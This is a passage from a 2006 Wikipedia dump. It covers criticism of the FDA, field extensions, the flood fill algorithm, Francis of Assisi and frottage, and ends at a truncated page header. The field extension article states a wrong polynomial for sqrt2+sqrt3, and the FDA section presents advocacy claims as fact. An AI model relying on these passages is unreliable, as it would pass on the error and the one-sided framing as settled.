''Error is not self-correcting''
| Correct decision
|}

This dichotomy was brought to the fore in the early days of AIDS.  Noted AIDS author [[Randy Shilts]] published a future timeline analysis in the San Francisco Chronicle showing a minimum delay of 20 years to approve the new AIDS drugs and get them to patients.
Standard industrial project expediting techniques of identifying critical paths and starting tasks in parallel were foreign to the medical bureaucracy. A massive demonstration by [[ACT UP]] and other groups occupied FDA headquarters, hanging a &quot;Silence = Death&quot; banner over the entrance.  Afterwards, the &quot;[[Pert chart]]&quot; for approval of [[protease inhibitors]] and other drugs was given a major rework and procedures introduced for expediting timelines for both normal and compassionate/experimental drug introduction.

Friedman theorizes that the harm the FDA causes results from the nature of the bureaucracy and would happen even with the best intentioned and benevolent individuals in charge: &quot;With the best will in the world, you or I, if we were in that position, would be led to reject or postpone approval of many a good drug in order to avoid even a remote possibility of approving a drug that will have newsworthy side effects.&quot; Friedman recommends that the FDA be abolished to remedy the problem. [http://www.uncommonknowledge.org/99winter/324.html]

===Regarding Wilhelm Reich===

The early reputation of the FDA was tarnished by directing one of the few government book-burnings ever to take place in the United States.  Acting against the interstate shipment of &quot;[[orgone accumulator]]s&quot;, an experimental device built by an aging Dr.  [[Wilhelm Reich]] the FDA went to court in 1956.  Reich refused to appear in court to debate scientific matters, writing to the court:
&quot;My factual position in the case as well as in the world of science of today does not permit me to enter the case against the Food and Drug Administration, since such action would, in my mind, imply admission of the authority of this special branch of the government to pass judgment on primordial, pre-atomic cosmic [[orgone]] energy.&quot; 
The FDA and the court responded by jailing Reich and ordering the burning of his published works, including those that had no reference to the orgone accumulator, at the [[Gansevoort Destructor Plant]] in Manhattan.

===Regarding Blood Donation===

In the past, it was the practice in America and other countries to separate blood donations on the basis of race, ethnicity, or religion, or to exclude certain groups from the donor pool on those bases.  Currently, in the US, these practices have been eliminated, although [[American Red Cross]] and [[Food &amp; Drug Administration]] policies prohibit accepting blood donations from gay men, specifically from any &quot;male who has had sex with another male since 1977, even once,&quot; [http://www.harbus.org/main.cfm?include=detail&amp;storyid=171199&amp;page=2] or from IV drug users or recent immigrants from certain nations with high rates of HIV infection.  While the inclusion of gay men on the prohibited list has created some controversy, the FDA &amp; Red Cross cite the public policy need to protect the blood supply from HIV &amp; similar diseases as justification for the ban.

===Censorship===

====Regarding Nutritional Supplements====

The FDA has been criticized for engaging in censorship because it prohibits dietary supplement manufacturers from making drug claims.  Supplements manufacturers are only allowed to make limited claims regarding how the supplement affects the structure or function of the body, i.e., [[structure/function claims]] and are prohibited by law from making drug claims that the supplement could prevent, cure, or mitigate a disease or condition, which are drug claims.
  
A bill was introduced in the US House of Representatives on May 12, 2005 by Congressman [[Ron Paul]] to prevent the FDA from censoring this information. It is currently pending. [http://www.oklahomahealthfreedom.org/CAHIA.html] Julian Walker, M.D. of the [[Health Freedom Action Network]] says: &quot;This rogue agency illegally prohibits manufacturers of food and dietary supplements from giving accurate information about their products' health benefits.&quot; [http://www.lef.org/featured-articles/consumer_alert_100605.htm] Life Extension Foundation claims that the prohibitions are a violation of the Constitutional Right to Free Speech. [http://www.lef.org/featured-articles/consumer_alert_091905.htm] On November 10, 2005, [[Ron Paul]] introduce a bill for the Health Freedom Protection act (H.R. 4284) to stop &quot;the FDA from censoring truthful claims about the curative, mitigative, or preventative effects of dietary supplements, and adopts the federal court’s suggested use of disclaimers as an alternative to censorship.from censoring consumer information ([http://www.lewrockwell.com/paul/paul288.html ''Free Speech and Dietary Supplements''])

The FDA was also criticized for banning the essential amino acid [[Tryptophan]] after a manufacturing incident in Japan contaminated one batch.  Regardless of the origin of the toxicity, Trp was banned from sale in the US, and other countries followed suit.  Critics claim that such bureaucratic action neglects that Trp is an essential amino acid that humans cannot live without eating, and have led some to renewed questioning as to whether the FDA was a science based or political agency.

The FDA prohibits information on health benefits for substances for which there is ample scientific evidence. For example, those who sell [[calcium]] are prohibited from mentioning that it reduces the risk of bone fractures. ([http://www.vrp.com/pdf/Emord-Editorial.pdf ''FDA and FTC Censorship of Health Information Must End''] by Jonathan W. Emord (pdf))

The FDA has also been criticized for intervening in the controversial [[nutritional supplement]] business. A raid against one supplement company, the &quot;[[Life Extension Foundation]],&quot; garnered criticism from critics for their entrance into a store by smashing through a glass doors with a battering ram [http://www.lef.org/fda/victory.htm]. After a costly and lengthy legal battle, the Life Extension Foundation was cleared of all charges.

====Food====
The FDA censors providers of foods from providing information on health benefits. For example, the FDA has threatened the [[cherry]] industry with legal measures unless it stops mentioning health benefits. [http://www.wjla.com/news/stories/1005/272655.html] [http://www.cfsan.fda.gov/~dms/chrylist.html] The FDA has sent letters to cherry distributors saying that when health benefits are mentioned, the cherries then become &quot;drugs&quot; that are subject to seizure. [http://www.cfsan.fda.gov/~acrobat/chrltr11.pdf] ([http://www.lef.org/magazine/mag2006/mar2006_awsi_01.htm ''FDA Threatens to Raid Cherry Orchards''], William Faloon, Life Extension Magazine, March 2006)

====Medicines====
The FDA censors health claims for medicines, including over-the-counter remedies. For instance, The FDA prohibits asprin packages from containing the research-backed information that taking an asprin every day reduces the risk of heart attack. Some argue that the restrictions save consumers from having bad information, but the counter argument is that they are also prohibited from having good information. Some medicine manufactures have proposed a compromise, where the FDA could say what they want on the label of a medicine while the manufacturer could say what they want as well. However, this proposal has been rejected by the FDA. [http://www.uncommonknowledge.org/99winter/324.html]


== External links ==
* http://www.fda.gov/ Official FDA website
* http://www.fdareview.org/ ''Is the FDA Safe and Effective?''
* [http://www.independent.org/newsroom/article.asp?id=403 The FDA Needs a Big Dose of Economics] by Alexander Tabarrok &amp; Daniel B. Klein
* [http://www-hoover.stanford.edu/pubaffairs/we/2004/henderson02.html ''End the FDA's Monopoly'' by David R. Henderson] &quot;Pare back the FDA's powers to that of an information agency&quot;
* [http://www.stopfda.org/ Consumers Against High Drug Prices] - an organization blames the FDA for High Drug Prices
* [http://www.lef.org/magazine/mag2005/mar2005_awsi_01.htm ''Death By Regulation''] Asserts that the FDA regulations defrauding Americans out of health and money
* [http://www.phrma.org''The Pharmaceutical Research and Manufacturers of America (PhRMA)''] represents the leading research-based pharmaceutical and biotechnology companies in the United States
* [http://64.233.161.104/search?q=cache:yVvp4VM2UGkJ:www.ita.doc.gov/td/chemicals/drugpricingstudy.pdf Pharmaceutical ''Price Controls in OECD Countries Implications for U.S. Consumers, Pricing, Research and Development, and Innovation''] by U.S. Department of Commerce
* [http://www.lewrockwell.com/paul/paul288.html ''Free Speech and Dietary Supplements''] A speech given before the U.S. House of Representatives by [[Ron Paul]] on Nov 10, 2005, introducing the Health Freedom Protection Act (H.R. 4282) and criticizing the FDA for censoring consumer information
* [http://www.vrp.com/pdf/Emord-Editorial.pdf ''FDA and FTC Censorship of Health Information Must End''] by Jonathan W. Emord (pdf)
* [http://www.emrworld.net/emr-research/articles/fda.ppt EMR FDA] - provides guidance for industry computerized systems used in FDA clinical trials.
* [http://www.fda.gov/oc/history/makinghistory/100yearsofbiologics.html] - A brief description of events leading to the first federal regulation of biologics

===Articles===
* [http://news.bbc.co.uk/2/hi/business/4024195.stm US drug safety checks 'slack']

==References==
# {{note|CHI}} [http://www.worldpharmacongress.com CHI World Pharmaceutical Congress 2005 Website] and final agenda in print form. Verified 03-07-2005.
# {{note|petitionform}} [http://www.fda.gov/ora/fed_state/Small_business/sb_guide/petit.html How to Petition the FDA].  Retrieved 2005-03-20.
# {{note|Review}} [http://www.fdareview.org/ FDAReview.org]
# {{note|Friedman}} Friedman, Milton &amp; Rose (1979).  &lt;i&gt;Free to Choose&lt;/i&gt;.  New York: Harcourt Brace Jovanovich.  ISBN 0-15-133481-1.

[[Category:Nutrition]]
[[Category:Pharmacology]]
[[Category:clinical research]]
[[Category:United States Department of Health and Human Services]]

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  </page>
  <page>
    <title>Field extension</title>
    <id>11634</id>
    <revision>
      <id>41184080</id>
      <timestamp>2006-02-25T16:51:01Z</timestamp>
      <contributor>
        <ip>62.253.16.11</ip>
      </contributor>
      <comment>/* Algebraic and transcendental elements */</comment>
      <text xml:space="preserve">In [[abstract algebra]], ''K'' is a '''field extension''' of ''F'' if &lt;math&gt;F \subseteq K&lt;/math&gt;, where ''K'' and ''F'' are both [[field (mathematics)|fields]]. This is often denoted as ''K''/''F''. The generalization to [[ring (mathematics)|ring]]s is called [[ring extension]]s.

For example, '''C''' (the field of [[complex number|complex numbers]]) is an extension of '''R''' (the field of [[real number|real numbers]]), and '''R''' is itself an extension of '''Q''' (the field of [[rational number|rational numbers]]). 

== Formal definition ==
Suppose ''K'' and ''F'' are fields. ''K'' is a field extension of ''F'' if ''K'' contains a [[subfield]] ''G'' that is [[isomorphism|isomorphic]] to ''F''. 

In the simple case that &lt;math&gt;F \subseteq K&lt;/math&gt;, we can choose the subfield ''G'' to be ''F'' itself and ''G'' and ''F'' are trivially isomorphic (the isomorphism maps  every element to itself). However, in this more general definition, we do not require the elements of ''F'' to be inside ''K'', only that the structure of ''F'' is somehow think of ''K'' present in ''K'' (recall that isomorphisms preserve structure). 

Since ''F'' and ''G'' have the same structure, we usually imagine ''F'' being inside ''K'', even if this is not actually true. Hence, in most literature (and in the introduction and subsequent sections of this article), the existence of ''G'' is implicit whenever ''F'' is not a subfield of ''K''.

== Field extensions as vector spaces ==
A field extension ''K''/''F'' can also be considered as a [[vector space]] over ''F''. The elements of ''K'' are &quot;vectors&quot; and the elements of ''F'' are the &quot;scalars&quot;. We add the vectors just like we add elements in ''K'', and scalar multiplication is multiplication of elements from ''F'' by elements from ''K''. 

The [[dimension (vector space)|dimension]] of this vector space is called the '''degree''' of the extension, and is denoted [''K''&amp;nbsp;:&amp;nbsp;''F''].
The extension is called a '''finite extension''' or '''infinite extension''' depending on whether the degree is finite or infinite. Examples:
* ['''C'''&amp;nbsp;:&amp;nbsp;'''R'''] =  2, so this extension is finite.
* ['''R'''&amp;nbsp;:&amp;nbsp;'''Q'''] = ''c'' (the [[cardinality of the continuum]]),
so this extension is infinite.

If ''L'' is an extension of ''K'' which is an extension of ''F'', then it can be shown that
: &lt;math&gt;[L : F] = [L : K]\cdot[K : F]&lt;/math&gt;

== Algebraic and transcendental elements ==
If ''K'' is an extension of ''F'', then an element of ''K'' which is a root
of a nonzero [[polynomial]] over ''F'' is said to be '''algebraic''' over ''F''.
If it is not algebraic then it is said to be '''transcendental'''. As an example:
* In '''C'''/'''R''', ''i'' is algebraic because it is a root of x²+1.
* In '''R'''/'''Q''', &lt;math&gt;(\sqrt{2}+\sqrt{3})&lt;/math&gt; is algebraic, because it is a root of &lt;math&gt;x^4-10x^2+2&lt;/math&gt;
* In '''R'''/'''Q''', ''e'' is transcendental because there is no polynomial with rational coefficients that has ''e'' as a root (see [[transcendental number]])
* In '''C'''/'''R''', ''e'' is algebraic because it is the root of x-''e''
The special case of '''C'''/'''Q''' is especially important, and the names [[algebraic number]] and [[transcendental number]] are used to describe the complex numbers.

If every element of ''K'' is algebraic over ''F'', then the extension ''K''/''F'' is said to be an '''[[algebraic extension]]'''; otherwise it is said to be '''transcendental'''. If every element of ''K'' except those in ''F'' is transcendental over ''F'', then the extension is said to be '''pure transcendental'''. 

It can be shown that an extension is algebraic if and only if it is the
union of its finite subextensions. In particular, every finite extension is algebraic. For example, 
* '''C'''/'''R''', being finite, is algebraic.
* '''R'''/'''Q''' is transcendental, although not pure transcendental.

== Generating fields ==
If ''K''/''F'' is a field extension and ''V'' is a subset of ''K'', then the field ''F''(''V'') is defined to be the smallest subfield of ''K'' which contains ''F'' and ''V''. It consists of all those elements of ''K'' that can be gotten using a finite number of field operations +, -, *, / applied to elements from ''F'' and ''V''. If ''K'' = ''F''(''V''), then we say that ''K'' is '''generated''' by ''V''.

A field extension generated by a single element is called a '''simple''' extension.
A simple extension is finite if generated by an algebraic element, and pure transcendental if generated by a transcendental element. For example, 
* '''C''' is a simple extension of '''R''', as it is generated by ''i'' (the square root of minus one).
* '''R'''/'''Q''' is not simple, as it is neither finite nor pure transcendental.

A field extension which has a [[Galois group]] is called a [[Galois extension]].
If the Galois group is Abelian, then the extension is called an '''Abelian extension'''. For example, 
* '''C'''/'''R''' is a Abelian extension, its Galois group being of order 2.
* '''R'''/'''Q''' is not a Galois extension, since, for example, the polynomial ''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; 2, while having a root in '''R''', does not [[splitting field|split]] over '''R'''.

[[Category:Field theory]]

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[[he:הרחבה של שדות]]</text>
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  </page>
  <page>
    <title>Flood fill</title>
    <id>11635</id>
    <revision>
      <id>36301106</id>
      <timestamp>2006-01-23T02:26:47Z</timestamp>
      <contributor>
        <username>Poor Yorick</username>
        <id>9697</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] reorder links</comment>
      <text xml:space="preserve">{{wikisourcepar|Flood fill}}
'''Flood fill,''' also called '''seed fill,''' is an [[algorithm]] that determines the area [[Glossary of graph theory#Connectivity|connected]] to a given node in a multi-dimensional [[array]]. It is used in the &quot;bucket&quot; fill tool of [[paint program|paint programs]] to determine which parts of a [[bitmap]] to fill with color, and in puzzle games such as [[Puyo Puyo]], [[Lumines]], [[Magical Drop]], and some implementations of [[Tetris]] (but not [[Columns (video game)|Columns]]) for determining which pieces are cleared.

The flood fill algorithm takes three parameters: a start node, a target color, and a replacement color. The algorithm looks for all nodes in the array which are connected to the start node by a path of the target color, and changes them to the replacement color. There are many ways in which the flood-fill algorithm can be structured, but they all make use of a [[queue]] or [[stack (computing)|stack]] data structure, explicitly or implicitly. One implicitly stack-based ([[recursion|recursive]]) flood-fill implementation (for a two-dimensional array) goes as follows:

[[image:Recursive Flood Fill 4 (aka).gif|none|right|recursive flood-fill with 4 directions]]
[[image:Recursive Flood Fill 8 (aka).gif|none|right|recursive flood-fill with 8 directions]]
 '''Flood-fill''' (node, target-color, replacement-color):
  1. If the color of ''node'' is not equal to ''target-color'', return.
  2. Set the color of ''node'' to ''replacement-color''.
  3. Perform '''Flood-fill''' (one step to the west of ''node'', ''target-color'', ''replacement-color'').
     Perform '''Flood-fill''' (one step to the east of ''node'', ''target-color'', ''replacement-color'').
     Perform '''Flood-fill''' (one step to the north of ''node'', ''target-color'', ''replacement-color'').
     Perform '''Flood-fill''' (one step to the south of ''node'', ''target-color'', ''replacement-color'').
  4. Return.

An explicitly queue-based implementation might resemble the following:

 '''Flood-fill''' (node, target-color, replacement-color):
  1. Set ''Q'' to the empty queue.
  2. If the color of ''node'' is not equal to ''target-color'', return.
  3. Add ''node'' to the end of ''Q''.
  4. For each element ''n'' of ''Q'':
  5.  Set the color of ''n'' to ''replacement-color''.
  6.  If the color of the node to the west of ''n'' is ''target-color'', add that node to the end of ''Q''.
      If the color of the node to the east of ''n'' is ''target-color'', add that node to the end of ''Q''.
      If the color of the node to the north of ''n'' is ''target-color'', add that node to the end of ''Q''.
      If the color of the node to the south of ''n'' is ''target-color'', add that node to the end of ''Q''.
  7. Continue looping until ''Q'' is exhausted.
  8. Return.

Most practical implementations use a loop for the west and east directions as an optimization to avoid the overhead of queue management:

 '''Flood-fill''' (node, target-color, replacement-color):
  1. Set ''Q'' to the empty queue.
  2. If the color of ''node'' is not equal to ''target-color'', return.
  3. Add ''node'' to the end of ''Q''.
  4. For each element ''n'' of ''Q'':
  5.  Set ''w'' and ''e'' equal to ''n''.
  6.  Move ''w'' to the west until the color of the node to the west of ''w'' no longer matches ''target-color''.
  7.  Move ''e'' to the east until the color of the node to the east of ''e'' no longer matches ''target-color''.
  8.  Set the color of nodes between ''w'' and ''e'' to ''replacement-color''.
  9.  For each node ''n'' between ''w'' and ''e'':
 10.   If the color of the node to the north of ''n'' is ''target-color'', add that node to the end of ''Q''.
       If the color of the node to the south of ''n'' is ''target-color'', add that node to the end of ''Q''.
 11. Continue looping until ''Q'' is exhausted.
 12. Return.

Adapting the algorithm to use an additional array to store the shape of the region allows generalization to cover &quot;fuzzy&quot; flood filling, where an element can differ by up to a specified threshold from the source symbol. Using this additional array as an [[Alpha compositing|alpha channel]] allows the edges of the filled region to blend somewhat smoothly with the not-filled region.

[[Category:Algorithms]]
[[Category:Computer graphics]]

[[de:Floodfill]]
[[it:Algoritmo flood fill]]
[[pl:Flood fill]]</text>
    </revision>
  </page>
  <page>
    <title>Francis of Assisi</title>
    <id>11638</id>
    <revision>
      <id>41884087</id>
      <timestamp>2006-03-02T10:01:13Z</timestamp>
      <contributor>
        <ip>58.69.61.240</ip>
      </contributor>
      <comment>/* The Founding of the Order of Friars Minor */</comment>
      <text xml:space="preserve">:''&quot;Saint Francis of Assisi&quot;, &quot;St. Francis of Assisi&quot; and &quot;St Francis of Assisi&quot; all redirect here.  For the opera by Olivier Messiaen see [[Saint-François d'Assise]].''

[[Image:Francisbyelgreco.jpg|right|200px|thumb|Francis of Assisi by [[El Greco]]]]
'''Saint Francis of Assisi''' ([[1182]] &amp;ndash; [[4 October]] [[1226]]) founded the [[Franciscan]] Order or &quot;Friars Minor&quot;.  He is the [[patron saint]] of [[animal]]s,  [[merchant]]s, Catholic action and the [[Natural environment|environment]].
&lt;!-- [[Image:franasis.JPG|right|thumb|Francis of Assisi]] --&gt;
==Boyhood and early manhood==

Born '''Giovanni di Bernardone''', commonly known as Francesco. He was either born in 1181 or 1182.  His father, Pietro, was a wealthy cloth merchant. Of his mother, Pica, little is known.  Francis was one of several children.

Rebellious toward his father's business and pursuit of wealth, Francis would spend most of his youth lost in books (ironically, his father's wealth did afford his son an excellent education, and he became fluent in reading several languages including Latin).  He was also known for drinking and enjoying the company of his many friends, who were usually the sons of nobles.  His displays of disillusionment toward the world that surrounded him became evident fairly early, one of which is shown in the story of the beggar. In this account, he found himself out having fun with his friends one day when a beggar came along and asked for [[alms]].  While his friends ignored the beggar's cries, Francis gave the man everything he had in his pockets.  His friends quickly chided and mocked him for his stupidity, and when he got home, his father scolded him in a rage.

In 1201 he joined a military expedition against [[Perugia]], was taken prisoner, and spent a year as a captive. It is probable that his conversion to more serious thoughts was a gradual process relating to this experience. 

It is said that when he began to avoid the [[sport]]s of his former companions, and they asked him laughingly if he was thinking of marrying, he answered &quot;Yes, a fairer bride than any you have ever seen&quot; - meaning his &quot;lady [[poverty]]&quot;, as he afterward used to say. 

He spent much time in lonely places, asking God for [[Enlightenment (concept)|enlightenment]]. By degrees he took to nursing the most repulsive victims in the [[lazar house]]s near Assisi.

After a [[pilgrim]]age to [[Rome]], where he begged at the [[church]] doors for the poor, he had a mystical experience in the Church of [[St. Damian]] just outside of Assisi, in which the Icon of Christ Crucified came alive and said to him 3 times, &quot;Francis, Francis, go and repair My house which, as you can see, is falling into ruin.&quot; He thought this to mean the very ruined church in which he was presently praying, and so sold his horse together with some cloth from his father's store, to assist the priest there for this purpose. 
[[Image:Giotto - Legend of St Francis - -05- - Renunciation of Wordly Goods.jpg|thumb|right|Renunciation of Wordly Goods, by [[Giotto di Bondone]]]]
Pietro, highly indignant, attempted to bring him to his senses, first with threats and then with corporal chastisement. After a final interview in the presence of the [[bishop]], Francis renounced his father and his patrimony, laying aside even the garments he had received from him. For the next few months he lived as a begger in the region of Assisi.

Returning to the town where he spent two years this time, he restored several ruined churches, among them the little [[chapel]] of [[St Mary of the Angels, Assisi]], just outside the town, which later became his favorite abode.

== The Founding of the Order of Friars Minor ==
[[Image:Stfrancis.jpg|left|thumb|St. Francis of Assisi in [[Sacro Speco]], Subiaco, Italy]]
At the end of this period (according to [[Jordanus]], on February 24, [[1209]]), a [[sermon]] which he heard on the [[Gospel of Matthew ]] 10:9, where Christ tells his followers that they should go forth and proclaim that the Kingdom of Heaven is upon them, and that they should take no money with them, that they should take no walking stick for the road, and that they should wear no shoes -- made such an impression on him that he decided to devote himself wholly to a life of apostolic poverty.

Clad in a rough garment, barefoot, and, after the Evangelical precept, without staff or scrip, he began to preach repentance. He was soon joined by a prominent fellow townsman, [[Bernardo da Quintavalle]], who contributed all that he had to the work, and by other companions, who are said to have reached the number of eleven within a year, whom he called the &quot;fratres minores&quot;, in Latin, &quot;the younger brothers&quot;. The Franciscans are sometimes called Friars, and this is a term derived from &quot;fratres&quot;, or &quot;brothers&quot; in Latin.

The brothers lived a [[simple living|simple life]] in the deserted lazar house of [[Rivo Torto]] near Assisi; but they spent much of their time wandering through the mountainous districts of [[Umbria]], always cheerful and full of songs, yet making a deep impression on their hearers by their earnest exhortations. 

In 1209 Francis led his first 11 followers to Rome and asked the Pope's permission to found a new religious order and succeeded in gaining the approval of  [[Pope Innocent III]].  At first his attempt to speak with the Pope was refused; but the following night, Innocent III saw in a dream the church was crumbling apart and a poor man appearing to hold it up. The next morning, recalling the poor man he had refused the day before, he recognized him as the man he saw in his dream, and decided to change his verdict the following day.

== St.&amp;nbsp;Francis, Nature and the Environment ==

Many of the stories that surround the life of St. Francis deal with his love for animals.

Perhaps the most famous incident that illustrates the Saint’s humility towards nature is recounted in the ''Fioretti'' (The Little Flowers), a collection of legends and folk-lore that sprang up after the saint’s death.  It is said that one day while Francis was traveling with some companions they happened upon a place in the road where birds filled the trees on either side.  Francis told his companions to “wait for me while I go a preach to my sisters the birds.”  The birds surrounded him, drawn by the power of his voice, and not one of them flew away.  Francis spoke to them:

[[Image:Saint Francis statue in garden.jpg|right|thumb|250 pix|A garden statue of Francis of Assisi with birds]]
“My sister birds, you owe much to God, and you must always and in everyplace give praise to Him; for He has given you freedom to wing through the sky and He has clothed you…you neither sow nor reap, and God feeds you and gives you rivers and fountains for your thirst, and mountains and valleys for shelter, and tall trees for your nests.  And although you neither know how to spin or weave, God dresses you and your children, for the Creator loves you greatly and He blesses you abundantly.  Therefore…always seek to praise God.”  

Another legend from the ''[[Fioretti]]'' tells us that in the city of Gubbio, where Francis lived for some time, there was a wolf “terrifying and ferocious, who devoured men as well as animals.”  Francis had compassion upon the townsfolk, and went up into the hills to find the wolf.  Soon fear of the animal had caused all his companions to flee, but the saint pressed on and when he found the wolf he made the sign of the cross and commanded the wolf to come to him and hurt no one.  Miraculously the wolf closed his jaws and lay down at the feet of St. Francis.  “Brother Wolf, you do much harm in these parts and you have done great evil…” said Francis.  “All these people accuse you and curse you…But brother wolf, I would like to make peace between you and the people.”  

Then Francis led the wolf into the town, and surrounded by startled citizens he made a pact between them and the wolf.  Because the wolf had “done evil out of hunger” the townsfolk were to feed the wolf regularly, and in return, the wolf would no longer prey upon them or their flocks.   In this manner Gubbio was freed from the menace of the predator.  Francis, ever the lover of animals, even makes a pact on behalf of the town dogs, that they will not bother the wolf again.

This legends exemplifies the Franciscan mode of charity and poverty as well as the saint's love of the natural world.

However, the academic establishment agrees that St.&amp;nbsp;Francis actually had a rather conventional attitude towards his worldly environment. He did believe that the external world was inherently good as a sign and revelation of God's providence and goodness, its purpose being to inspire our respect and love, but this was not an unusual philosophy in the thirteenth century. His belief in the universal ability and duty of all animals to praise God is more unusual; however, it is far from the &quot;sentimental pantheism&quot; ([[G. K. Chesterton|G.&amp;nbsp;K.&amp;nbsp;Chesterton]]) suggested by Lynn White, and certainly bears no relation to current ecological or environmental sentiment.

==Main sources for the life of St. Francis==
*Friar Elias, ''Epistola Encyclica de Transitu Sancti Francisci'', 1226.
*Pope Gregory IX, Bulla &quot;Mira circa nos&quot; for the canonisation of St. Francis, [[19 July]] [[1228]].
*Friar [[Thomas of Celano|Tommaso da Celano]]: ''Vita Prima Sancti Francisci'', 1228; ''Vita Secunda Sancti Francisci'', 1246&amp;ndash;1247; ''Tractatus de Miraculis Sancti Francisci'', 1252&amp;ndash;1253.
*Friar [[Julian of Speyer]], ''Vita Sancti Francisci'', 1232&amp;ndash;1239.
*St. Bonaventure of Bagnoregio, ''Legenda Maior Sancti Francisci'', 1260&amp;ndash;1263.
*Ugolino da Montegiorgio, ''Actus Beati Francisci et sociorum eius'', 1327&amp;ndash;1342.
*''Fioretti di San Francesco'', the &quot;[[Little Flowers of St. Francis|Little Flowers of St.&amp;nbsp;Francis]]&quot;, end of the 14th&amp;nbsp;century: an anonymous Italian version of the ''Actus''; the most popular of the sources, but very late and therefore not the best authority by any means. 

For an exhaustive list of sources, see [http://198.62.75.1/www1/ofm/fra/FRAmain.html].

==Main writings by St. Francis==
*''Canticum Fratris Solis'', the Canticle to Brother Sun.
*Prayer before the Crucifix, 1205 (extant in the original Umbrian dialect as well as in a contemporary Latin translation).
*''Regula non bullata'', the Earlier Rule, 1221.
*''Regula bullata'', the Later Rule, 1223.
*Testament, 1226.
*Admonitions.
For a complete list, see [http://198.62.75.1/www1/ofm/fra/FRAwr02.html].

==See also==
*''[[Brother Sun, Sister Moon]]'' (1972) by [[Franco Zeffirelli]]
*[[Prayer of Saint Francis]], Prayer once attributed to St.&amp;nbsp;Francis of Assisi, although in fact it first appeared several centuries after his death.
*[[Clare of Assisi]]
*[[Juniper (saint)|Saint Juniper]], one of Francis' original followers.
*[[Saint David]]
*[[University of Saint Francis (Illinois)]], a school founded in the tradition of St. Francis of Assisi.
*[[List of people on stamps of Ireland]]
*[[Saint Margaret of Cortona]]

==External links==
{{wikiquote}}
{{Commons|Category:Francis of Assisi}}
*[http://franciscan-archive.org/ The Franciscan Archive]
*[http://198.62.75.1/www1/ofm/fra/FRAmain.html Franciscan Cyberspot: Sources for the Life of St.&amp;nbsp;Francis]
*[http://www.catholic.org/saints/saint.php?saint_id=50 St Francis of Assisi]


[[Category:Natives of Assisi]]
[[Category:Franciscans|*]]
[[Category:Saints]]
[[Category:Italian saints]]
[[Category:Stigmatics]]
[[Category:Medieval philosophers]]

[[Category:1181 births|Francis]]
[[Category:1182 births|Francis]]
[[Category:1226 deaths|Francis]]

[[be:Францішак з Асізі]]
[[ca:Sant Francesc d'Assís]]
[[da:Frans af Assisi]]
[[de:Franz von Assisi]]
[[es:Francisco de Asís]]
[[eo:Sankta Francisko]]
[[fr:François d'Assise]]
[[hr:Franjo Asiški]]
[[id:Fransiskus Assisi]]
[[it:San Francesco d'Assisi]]
[[he:פרנציסקוס מאסיזי]]
[[la:Sanctus Franciscus Assisiensis]]
[[nl:Franciscus van Assisi]]
[[ja:アッシジのフランチェスコ]]
[[no:Frans av Assisi]]
[[pl:Franciszek z Asyżu]]
[[pt:Francisco de Assis]]
[[ro:Francisc de Assisi]]
[[sk:František z Assisi]]
[[sl:Sveti Frančišek Asiški]]
[[sv:Franciskus av Assisi]]
[[zh:聖方濟各 (亞西西)]]</text>
    </revision>
  </page>
  <page>
    <title>Francois Marie Arouet</title>
    <id>11640</id>
    <revision>
      <id>15909376</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Voltaire]]
</text>
    </revision>
  </page>
  <page>
    <title>Frottage</title>
    <id>11641</id>
    <revision>
      <id>42057698</id>
      <timestamp>2006-03-03T14:40:26Z</timestamp>
      <contributor>
        <username>Mjpieters</username>
        <id>86312</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.219.63.204|212.219.63.204]] to last version by Haldrik</comment>
      <text xml:space="preserve">: ''This article is about consensual sexual rubbing, whether naked or clothed.''

: ''See [[frot]] (no longer called frottage) for male-male genital sex.''
: ''See [[frotteurism]] (sometimes called frottage) for the sexual disorder involving rubbing against people in public places without discovery.''
: ''See [[frottage (surrealist technique)]] for the spontaneous graphic art technique.''

'''Frottage''' is normal [[sexual activity]] without [[sexual penetration|penetration]] that can include any form of sexual rubbing, whether naked or clothed, for arousal or orgasm.

Frottage can include mutual genital rubbing, sometimes called ''genito-genital'' or ''GG rubbing'':

* penile-vulval rubbing without penetration for a male and a female
* '''[[frot]]''', penile-penile rubbing for two males
* '''[[tribadism]]''', vulval-vulval rubbing for two females

Also nonmutual genital rubbing:

* '''[[intercrural intercourse]]''', also known as interfemoral intercourse, placing the penis between a partner's thighs, from the front or rear
* '''[[mammary intercourse]]''', putting the penis between the other person's [[breast]]s
* '''[[axillary intercourse]]''', putting the penis  in the other person's [[armpit]]
* rubbing genitals against any part of the partner's body, such as clitoris against thigh or penis against abdomen.

Notably frottage can include sexual rubbing while clothed, for arousal or orgasm.

== Terminology ==

=== Etymology ===

The term ''frottage'' derives from the French verb &quot;to rub&quot; ''frotter''.

=== Improper terms ===

Three distinct terms derive from the French verb &quot;to rub&quot; ''frotter'', that are not to be confounded: ''frottage'', ''frotteurism'' and ''frot''. ''Frottage'' is the preferred term for various forms of genital rubbing as part of normal sexual activity. Frottage is sometimes confused with a sexual disorder known as ''frotteurism'', and improperly referred to as such. Properly the term ''frotteurism'' has no meaning except the sexual disorder. Slang sometimes abbreviates ''frottage'' to &quot;frot&quot;. Properly ''frot'' is the technical term for male-male genital sex.

=== Colloquialisms ===

* &quot;dry fucking&quot; or &quot;dry humping&quot;, two people engaging in clothed frottage in a manner that simulates intercourse.
* &quot;[[grinding (dance)|grinding]]&quot; or &quot;freaking&quot;, a modern dancing style which involves partners rubbing their clothed bodies on one another.
* &quot;frotteur [[geek]]&quot;, a colloquialism for a person with a devotion to an atypical scenario for frottage.

== External links ==

* [http://www.nvsh.nl/Website_Engels/Texts/Sexual_Information/Basics/Skills_1.htm#greatsex &quot;Great sex without intercourse&quot;, NVSH] (contains graphic depictions)

[[Category:Sex moves]]</text>
    </revision>
  </page>
  <page>
    <title>F-16</title>
    <id>11642</id>
    <revision>
      <id>15909378</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[F-16 Fighting Falcon]]
</text>
    </revision>
  </page>
  <page>
    <title>First Council of Constantinople</title>
    <id>11643</id>
    <revision>
      <id>42067132</id>
      <timestamp>2006-03-03T16:12:15Z</timestamp>
      <contributor>
        <username>Irmgard</username>
        <id>8884</id>
      </contributor>
      <minor />
